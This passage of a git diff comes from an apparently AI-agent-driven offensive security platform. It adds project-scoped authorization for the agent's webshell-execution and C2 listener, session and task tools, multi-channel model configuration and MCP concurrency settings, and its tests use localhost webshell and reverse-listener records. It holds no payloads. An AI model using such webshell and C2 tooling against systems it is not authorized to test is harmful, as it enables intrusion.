if conn == nil {
|
||||||
|
return "", true, fmt.Errorf("webshell not found")
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(conn.ProjectID), true, nil
|
||||||
|
case "c2_listener":
|
||||||
|
listener, err := db.GetC2Listener(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if listener == nil {
|
||||||
|
return "", true, fmt.Errorf("listener not found")
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(listener.ProjectID), true, nil
|
||||||
|
case "c2_session":
|
||||||
|
session, err := db.GetC2Session(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
return "", true, fmt.Errorf("session not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||||
|
case "c2_task":
|
||||||
|
task, err := db.GetC2Task(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if task == nil {
|
||||||
|
return "", true, fmt.Errorf("task not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectIDFromC2Session(db, task.SessionID)
|
||||||
|
default:
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpResourceProjectIDFromC2Session(db *database.DB, sessionID string) (string, bool, error) {
|
||||||
|
session, err := db.GetC2Session(sessionID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
return "", true, fmt.Errorf("session not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||||
|
}
|
||||||
|
|
||||||
func mcpAuthorizationStrings(args map[string]interface{}, key string) []string {
|
func mcpAuthorizationStrings(args map[string]interface{}, key string) []string {
|
||||||
values := []string{}
|
values := []string{}
|
||||||
switch raw := args[key].(type) {
|
switch raw := args[key].(type) {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/authctx"
|
"cyberstrike-ai/internal/authctx"
|
||||||
"cyberstrike-ai/internal/database"
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/mcp/builtin"
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
"cyberstrike-ai/internal/security"
|
"cyberstrike-ai/internal/security"
|
||||||
|
|
||||||
@@ -48,6 +49,91 @@ func TestMCPToolAuthorizerEnforcesPermissionAndResource(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMCPToolAuthorizerEnforcesConversationProjectBoundary(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-project-boundary.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
user, err := db.CreateRBACUser("boundary-user", "Boundary User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&database.Project{Name: "Project 123"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
projectConv, err := db.CreateConversation("project conversation", database.ConversationCreateMeta{ProjectID: project.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
unboundConv, err := db.CreateConversation("unbound conversation", database.ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
wsProject := database.WebShellConnection{ID: "ws_project", ProjectID: project.ID, URL: "http://127.0.0.1/project.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
wsUnbound := database.WebShellConnection{ID: "ws_unbound", URL: "http://127.0.0.1/unbound.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
if err := db.CreateWebshellConnection(&wsProject); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&wsUnbound); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, id := range []string{wsProject.ID, wsUnbound.ID} {
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "webshell", id); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
listener := &database.C2Listener{ID: "l_project", ProjectID: project.ID, Name: "project listener", Type: "tcp_reverse", BindHost: "127.0.0.1", BindPort: 5555, OwnerUserID: user.ID, CreatedAt: now}
|
||||||
|
if err := db.CreateC2Listener(listener); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "c2_listener", listener.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
session := &database.C2Session{ID: "s_project", ListenerID: listener.ID, ImplantUUID: "implant-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}
|
||||||
|
if err := db.UpsertC2Session(session); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{
|
||||||
|
"webshell:read": true, "webshell:write": true,
|
||||||
|
"c2:read": true, "c2:write": true,
|
||||||
|
})
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
unboundCtx := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), unboundConv.ID), principal)
|
||||||
|
projectCtx := authctx.WithPrincipal(mcp.WithMCPProjectID(mcp.WithMCPConversationID(context.Background(), projectConv.ID), project.ID), principal)
|
||||||
|
projectCtxFromConversationOnly := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), projectConv.ID), principal)
|
||||||
|
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err == nil {
|
||||||
|
t.Fatal("unbound conversation was allowed to use project-bound webshell")
|
||||||
|
}
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err != nil {
|
||||||
|
t.Fatalf("unbound webshell denied in unbound conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||||
|
t.Fatalf("project webshell denied in project conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtxFromConversationOnly, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||||
|
t.Fatalf("project webshell denied when only conversation id is present: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err == nil {
|
||||||
|
t.Fatal("project conversation was allowed to use unbound webshell by id")
|
||||||
|
}
|
||||||
|
if err := authorize(unboundCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err == nil {
|
||||||
|
t.Fatal("unbound conversation was allowed to use project-bound c2 session")
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||||
|
t.Fatalf("project c2 session denied in project conversation: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(projectCtxFromConversationOnly, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||||
|
t.Fatalf("project c2 session denied when only conversation id is present: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
||||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-policy-inventory.db"), zap.NewNop())
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-policy-inventory.db"), zap.NewNop())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -62,7 +148,7 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
|||||||
authorize := mcpToolAuthorizer(db)
|
authorize := mcpToolAuthorizer(db)
|
||||||
args := map[string]interface{}{
|
args := map[string]interface{}{
|
||||||
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
|
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
|
||||||
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x",
|
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x", "execution_id": "x",
|
||||||
}
|
}
|
||||||
for _, toolName := range builtin.GetAllBuiltinTools() {
|
for _, toolName := range builtin.GetAllBuiltinTools() {
|
||||||
err := authorize(ctx, toolName, args)
|
err := authorize(ctx, toolName, args)
|
||||||
@@ -72,6 +158,45 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMCPExecutionControlAuthorizationUsesExecutionScope(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-exec-authz.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
user, err := db.CreateRBACUser("exec-user", "Exec User", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "exec-owned",
|
||||||
|
ToolName: "lab::slow",
|
||||||
|
Status: "running",
|
||||||
|
StartTime: time.Now(),
|
||||||
|
OwnerUserID: user.ID,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "exec-hidden",
|
||||||
|
ToolName: "lab::slow",
|
||||||
|
Status: "running",
|
||||||
|
StartTime: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"monitor:read": true, "monitor:write": true})
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||||
|
authorize := mcpToolAuthorizer(db)
|
||||||
|
if err := authorize(ctx, builtin.ToolWaitToolExecution, map[string]interface{}{"execution_id": "exec-owned"}); err != nil {
|
||||||
|
t.Fatalf("owned execution denied: %v", err)
|
||||||
|
}
|
||||||
|
if err := authorize(ctx, builtin.ToolCancelToolExecution, map[string]interface{}{"execution_id": "exec-hidden"}); err == nil {
|
||||||
|
t.Fatal("foreign execution was allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
|
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
|
||||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -0,0 +1,26 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
)
|
||||||
|
|
||||||
|
func mcpEffectiveProjectFilter(ctx context.Context, db *database.DB) string {
|
||||||
|
if projectID := strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx)); projectID != "" {
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
if conversationID := mcpAuthorizationConversationID(ctx); conversationID != "" {
|
||||||
|
if db != nil {
|
||||||
|
if projectID, err := db.GetConversationProjectID(conversationID); err == nil {
|
||||||
|
if projectID = strings.TrimSpace(projectID); projectID != "" {
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return database.ProjectFilterUnbound
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -34,9 +34,9 @@ type Manager struct {
|
|||||||
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
|
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
|
||||||
storageDir string // 大结果(截图/下载)落盘根目录
|
storageDir string // 大结果(截图/下载)落盘根目录
|
||||||
|
|
||||||
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
||||||
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
|
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
|
||||||
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
||||||
}
|
}
|
||||||
|
|
||||||
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
|
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
|
||||||
@@ -63,7 +63,7 @@ type HITLApprovalRequest struct {
|
|||||||
|
|
||||||
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
|
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
|
||||||
type Hooks struct {
|
type Hooks struct {
|
||||||
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
||||||
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed)
|
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -144,6 +144,7 @@ func (m *Manager) Close() {
|
|||||||
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
|
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
|
||||||
type CreateListenerInput struct {
|
type CreateListenerInput struct {
|
||||||
Name string
|
Name string
|
||||||
|
ProjectID string
|
||||||
Type string
|
Type string
|
||||||
BindHost string
|
BindHost string
|
||||||
BindPort int
|
BindPort int
|
||||||
@@ -195,6 +196,7 @@ func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener,
|
|||||||
|
|
||||||
listener := &database.C2Listener{
|
listener := &database.C2Listener{
|
||||||
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||||
|
ProjectID: strings.TrimSpace(in.ProjectID),
|
||||||
Name: strings.TrimSpace(in.Name),
|
Name: strings.TrimSpace(in.Name),
|
||||||
Type: strings.ToLower(strings.TrimSpace(in.Type)),
|
Type: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||||
BindHost: bindHost,
|
BindHost: bindHost,
|
||||||
|
|||||||
+155
-11
@@ -21,7 +21,8 @@ type Config struct {
|
|||||||
Server ServerConfig `yaml:"server"`
|
Server ServerConfig `yaml:"server"`
|
||||||
Log LogConfig `yaml:"log"`
|
Log LogConfig `yaml:"log"`
|
||||||
MCP MCPConfig `yaml:"mcp"`
|
MCP MCPConfig `yaml:"mcp"`
|
||||||
OpenAI OpenAIConfig `yaml:"openai"`
|
AI AIConfig `yaml:"ai,omitempty" json:"ai,omitempty"`
|
||||||
|
OpenAI OpenAIConfig `yaml:"openai,omitempty" json:"openai,omitempty"`
|
||||||
FOFA FofaConfig `yaml:"fofa,omitempty" json:"fofa,omitempty"`
|
FOFA FofaConfig `yaml:"fofa,omitempty" json:"fofa,omitempty"`
|
||||||
ZoomEye SpaceSearchConfig `yaml:"zoomeye,omitempty" json:"zoomeye,omitempty"`
|
ZoomEye SpaceSearchConfig `yaml:"zoomeye,omitempty" json:"zoomeye,omitempty"`
|
||||||
Quake SpaceSearchConfig `yaml:"quake,omitempty" json:"quake,omitempty"`
|
Quake SpaceSearchConfig `yaml:"quake,omitempty" json:"quake,omitempty"`
|
||||||
@@ -840,6 +841,130 @@ type OpenAIConfig struct {
|
|||||||
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AIConfig stores first-class model channels. Runtime callers resolve a channel
|
||||||
|
// into OpenAIConfig at the edge instead of moving API credentials through chat requests.
|
||||||
|
type AIConfig struct {
|
||||||
|
DefaultChannel string `yaml:"default_channel,omitempty" json:"default_channel,omitempty"`
|
||||||
|
Channels map[string]AIChannelConfig `yaml:"channels,omitempty" json:"channels,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type AIChannelConfig struct {
|
||||||
|
Name string `yaml:"name,omitempty" json:"name,omitempty"`
|
||||||
|
Provider string `yaml:"provider,omitempty" json:"provider,omitempty"`
|
||||||
|
APIKey string `yaml:"api_key" json:"api_key"`
|
||||||
|
BaseURL string `yaml:"base_url" json:"base_url"`
|
||||||
|
Model string `yaml:"model" json:"model"`
|
||||||
|
MaxTotalTokens int `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
|
||||||
|
MaxCompletionTokens int `yaml:"max_completion_tokens,omitempty" json:"max_completion_tokens,omitempty"`
|
||||||
|
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c AIChannelConfig) ToOpenAIConfig() OpenAIConfig {
|
||||||
|
provider := strings.TrimSpace(c.Provider)
|
||||||
|
if provider == "" || provider == "openai_compatible" {
|
||||||
|
provider = "openai"
|
||||||
|
}
|
||||||
|
return OpenAIConfig{
|
||||||
|
Provider: provider,
|
||||||
|
APIKey: c.APIKey,
|
||||||
|
BaseURL: c.BaseURL,
|
||||||
|
Model: c.Model,
|
||||||
|
MaxTotalTokens: c.MaxTotalTokens,
|
||||||
|
MaxCompletionTokens: c.MaxCompletionTokens,
|
||||||
|
Reasoning: c.Reasoning,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func AIChannelFromOpenAI(id, name string, oa OpenAIConfig) AIChannelConfig {
|
||||||
|
if strings.TrimSpace(name) == "" {
|
||||||
|
name = id
|
||||||
|
}
|
||||||
|
return AIChannelConfig{
|
||||||
|
Name: name,
|
||||||
|
Provider: oa.Provider,
|
||||||
|
APIKey: oa.APIKey,
|
||||||
|
BaseURL: oa.BaseURL,
|
||||||
|
Model: oa.Model,
|
||||||
|
MaxTotalTokens: oa.MaxTotalTokens,
|
||||||
|
MaxCompletionTokens: oa.MaxCompletionTokens,
|
||||||
|
Reasoning: oa.Reasoning,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func NormalizeAIChannelID(s string) string {
|
||||||
|
id := strings.ToLower(strings.TrimSpace(s))
|
||||||
|
id = strings.ReplaceAll(id, "_", "-")
|
||||||
|
var b strings.Builder
|
||||||
|
lastDash := false
|
||||||
|
for _, r := range id {
|
||||||
|
ok := (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9')
|
||||||
|
if ok {
|
||||||
|
b.WriteRune(r)
|
||||||
|
lastDash = false
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !lastDash {
|
||||||
|
b.WriteByte('-')
|
||||||
|
lastDash = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out := strings.Trim(b.String(), "-")
|
||||||
|
if out == "" {
|
||||||
|
return "default"
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AIConfig) EnsureDefaultFromOpenAI(openAI OpenAIConfig) {
|
||||||
|
if c.Channels == nil {
|
||||||
|
c.Channels = make(map[string]AIChannelConfig)
|
||||||
|
}
|
||||||
|
def := NormalizeAIChannelID(c.DefaultChannel)
|
||||||
|
if def == "default" && strings.TrimSpace(c.DefaultChannel) == "" {
|
||||||
|
def = "default"
|
||||||
|
}
|
||||||
|
c.DefaultChannel = def
|
||||||
|
if _, ok := c.Channels[def]; !ok {
|
||||||
|
c.Channels[def] = AIChannelFromOpenAI(def, "Default", openAI)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c AIConfig) ResolveChannel(channelID string) (OpenAIConfig, string, bool) {
|
||||||
|
id := NormalizeAIChannelID(channelID)
|
||||||
|
if strings.TrimSpace(channelID) == "" {
|
||||||
|
id = NormalizeAIChannelID(c.DefaultChannel)
|
||||||
|
}
|
||||||
|
if id == "" {
|
||||||
|
id = "default"
|
||||||
|
}
|
||||||
|
if c.Channels != nil {
|
||||||
|
if ch, ok := c.Channels[id]; ok {
|
||||||
|
return ch.ToOpenAIConfig(), id, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return OpenAIConfig{}, id, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Config) ResolveAIChannel(channelID string) (OpenAIConfig, string, bool) {
|
||||||
|
if c == nil {
|
||||||
|
return OpenAIConfig{}, "", false
|
||||||
|
}
|
||||||
|
if oa, id, ok := c.AI.ResolveChannel(channelID); ok {
|
||||||
|
return oa, id, true
|
||||||
|
}
|
||||||
|
return c.OpenAI, NormalizeAIChannelID(channelID), strings.TrimSpace(c.OpenAI.Model) != "" || strings.TrimSpace(c.OpenAI.BaseURL) != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Config) ApplyDefaultAIChannel() {
|
||||||
|
if c == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.AI.EnsureDefaultFromOpenAI(c.OpenAI)
|
||||||
|
if oa, _, ok := c.AI.ResolveChannel(c.AI.DefaultChannel); ok {
|
||||||
|
c.OpenAI = oa
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (c OpenAIConfig) MaxCompletionTokensEffective() int {
|
func (c OpenAIConfig) MaxCompletionTokensEffective() int {
|
||||||
if c.MaxCompletionTokens > 0 {
|
if c.MaxCompletionTokens > 0 {
|
||||||
return c.MaxCompletionTokens
|
return c.MaxCompletionTokens
|
||||||
@@ -912,8 +1037,13 @@ type DatabaseConfig struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type AgentConfig struct {
|
type AgentConfig struct {
|
||||||
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
||||||
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
||||||
|
ToolWaitTimeoutSeconds int `yaml:"tool_wait_timeout_seconds" json:"tool_wait_timeout_seconds"` // 工具本轮等待秒数;到时返回 execution_id,worker 继续后台执行;0 表示等到完成
|
||||||
|
ExternalMCPMaxConcurrentPerServer int `yaml:"external_mcp_max_concurrent_per_server" json:"external_mcp_max_concurrent_per_server"` // 单个外部 MCP server 同时运行的工具数;0 表示默认 2
|
||||||
|
ExternalMCPMaxConcurrentTotal int `yaml:"external_mcp_max_concurrent_total" json:"external_mcp_max_concurrent_total"` // 所有外部 MCP 工具全局并发;0 表示默认 16
|
||||||
|
ExternalMCPCircuitFailureThreshold int `yaml:"external_mcp_circuit_failure_threshold" json:"external_mcp_circuit_failure_threshold"` // 单个 MCP server 连续失败多少次后打开熔断;0 表示默认 3;负数关闭
|
||||||
|
ExternalMCPCircuitCooldownSeconds int `yaml:"external_mcp_circuit_cooldown_seconds" json:"external_mcp_circuit_cooldown_seconds"` // 熔断后冷却秒数;0 表示默认 60
|
||||||
// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数(通用防挂死,不维护命令黑名单);0=默认 300(5 分钟);-1=关闭。
|
// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数(通用防挂死,不维护命令黑名单);0=默认 300(5 分钟);-1=关闭。
|
||||||
ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
|
ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
|
||||||
// WorkspaceRootDir 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离。
|
// WorkspaceRootDir 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离。
|
||||||
@@ -1219,6 +1349,7 @@ func Load(path string) (*Config, error) {
|
|||||||
if cfg.Audit.MaxDetailBytes <= 0 {
|
if cfg.Audit.MaxDetailBytes <= 0 {
|
||||||
cfg.Audit.MaxDetailBytes = 8192
|
cfg.Audit.MaxDetailBytes = 8192
|
||||||
}
|
}
|
||||||
|
cfg.ApplyDefaultAIChannel()
|
||||||
if err := validateModelOutputLimits(cfg.OpenAI, cfg.MultiAgent.EinoMiddleware); err != nil {
|
if err := validateModelOutputLimits(cfg.OpenAI, cfg.MultiAgent.EinoMiddleware); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -1715,16 +1846,29 @@ func Default() *Config {
|
|||||||
Host: "127.0.0.1",
|
Host: "127.0.0.1",
|
||||||
Port: 8081,
|
Port: 8081,
|
||||||
},
|
},
|
||||||
OpenAI: OpenAIConfig{
|
AI: AIConfig{
|
||||||
BaseURL: "https://api.openai.com/v1",
|
DefaultChannel: "default",
|
||||||
Model: "gpt-4",
|
Channels: map[string]AIChannelConfig{
|
||||||
MaxTotalTokens: 120000,
|
"default": {
|
||||||
MaxCompletionTokens: DefaultMaxCompletionTokens,
|
Name: "Default",
|
||||||
|
Provider: "openai_compatible",
|
||||||
|
BaseURL: "https://api.openai.com/v1",
|
||||||
|
Model: "gpt-4",
|
||||||
|
MaxTotalTokens: 120000,
|
||||||
|
MaxCompletionTokens: DefaultMaxCompletionTokens,
|
||||||
|
},
|
||||||
|
},
|
||||||
},
|
},
|
||||||
|
OpenAI: OpenAIConfig{},
|
||||||
Agent: AgentConfig{
|
Agent: AgentConfig{
|
||||||
MaxIterations: 30, // 默认最大迭代次数
|
MaxIterations: 30, // 默认最大迭代次数
|
||||||
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
|
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
|
||||||
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
|
ToolWaitTimeoutSeconds: 60, // 外部 MCP 工具单轮最多等待 60 秒,超时后返回 execution_id 可继续等待
|
||||||
|
ExternalMCPMaxConcurrentPerServer: 2, // 单个外部 MCP server 默认最多 2 个工具同时执行
|
||||||
|
ExternalMCPMaxConcurrentTotal: 16, // 外部 MCP 工具全局默认最多 16 个同时执行
|
||||||
|
ExternalMCPCircuitFailureThreshold: 3, // 单个 server 连续 3 次失败后临时熔断
|
||||||
|
ExternalMCPCircuitCooldownSeconds: 60, // 熔断默认冷却 60 秒
|
||||||
|
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
|
||||||
},
|
},
|
||||||
Security: SecurityConfig{
|
Security: SecurityConfig{
|
||||||
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
|
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
|
||||||
|
|||||||
@@ -95,6 +95,48 @@ func TestHitlAuditModelEffectiveFallsBackToMainConfig(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestLoadUsesAIDefaultChannelAsRuntimeOpenAI(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "config.yaml")
|
||||||
|
initial := strings.Join([]string{
|
||||||
|
"ai:",
|
||||||
|
" default_channel: deepseek",
|
||||||
|
" channels:",
|
||||||
|
" qwen:",
|
||||||
|
" name: Qwen",
|
||||||
|
" provider: openai_compatible",
|
||||||
|
" base_url: https://dashscope.example/v1",
|
||||||
|
" api_key: qwen-key",
|
||||||
|
" model: qwen-max",
|
||||||
|
" deepseek:",
|
||||||
|
" name: DeepSeek",
|
||||||
|
" provider: openai_compatible",
|
||||||
|
" base_url: https://deepseek.example/v1",
|
||||||
|
" api_key: deepseek-key",
|
||||||
|
" model: deepseek-chat",
|
||||||
|
" max_total_tokens: 64000",
|
||||||
|
"server:",
|
||||||
|
" host: 127.0.0.1",
|
||||||
|
" port: 8080",
|
||||||
|
"",
|
||||||
|
